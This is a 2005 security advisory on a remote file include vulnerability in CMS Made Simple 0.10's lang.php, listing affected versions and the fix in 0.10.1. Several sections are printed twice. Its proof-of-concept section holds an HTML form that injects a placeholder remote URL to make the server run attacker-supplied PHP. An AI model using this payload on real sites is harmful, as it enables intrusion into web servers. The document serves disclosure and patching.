CMS Made Simple Lang.PHP Remote File Include Vulnerability
BID:14709
Info
CMS Made Simple Lang.PHP Remote File Include Vulnerability
| Bugtraq ID: | 14709 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 31 2005 12:00AM |
| Updated: | Aug 31 2005 12:00AM |
| Credit: | [email protected] is credited with the discovery of this vulnerability. |
| Vulnerable: |
CMS Made Simple CMS Made Simple 0.10 |
| Not Vulnerable: |
CMS Made Simple CMS Made Simple 0.10.1 |
Discussion
CMS Made Simple Lang.PHP Remote File Include Vulnerability
CMS Made Simple is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker may exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
CMS Made Simple Version .10 and all prior versions are reported vulnerable.
CMS Made Simple is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker may exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
CMS Made Simple Version .10 and all prior versions are reported vulnerable.
Exploit / POC
CMS Made Simple Lang.PHP Remote File Include Vulnerability
No exploit is required:
A demonstration exploit html file is provided:
example.html:
<form action="http://www.example.com/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=(__URL__)" method=post>
<input type=hidden name=change_cms_lang value=vx>
<input type=submit name=test VALUE="do it">
</form>
EOF
No exploit is required:
A demonstration exploit html file is provided:
example.html:
<form action="http://www.example.com/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=(__URL__)" method=post>
<input type=hidden name=change_cms_lang value=vx>
<input type=submit name=test VALUE="do it">
</form>
EOF
Solution / Fix
CMS Made Simple Lang.PHP Remote File Include Vulnerability
Solution:
The vendor has addressed this issue in version 0.10.1 and later:
CMS Made Simple CMS Made Simple 0.10
Solution:
The vendor has addressed this issue in version 0.10.1 and later:
CMS Made Simple CMS Made Simple 0.10
-
CMS Made Simple cmsmadesimple-0.10.2.tar.gz
http://cmsmadesimple.org/downloads/cmsmadesimple-0.10.2.tar.gz
References
CMS Made Simple Lang.PHP Remote File Include Vulnerability
References:
References:
- CMS Made Simple Homepage (CMS Made Simple)
- Security Announce: CMS Made Simple <= 0.10 - PHP injection (CMS Made Simple)
- CMS Made Simple <= 0.10 - PHP injection ([email protected])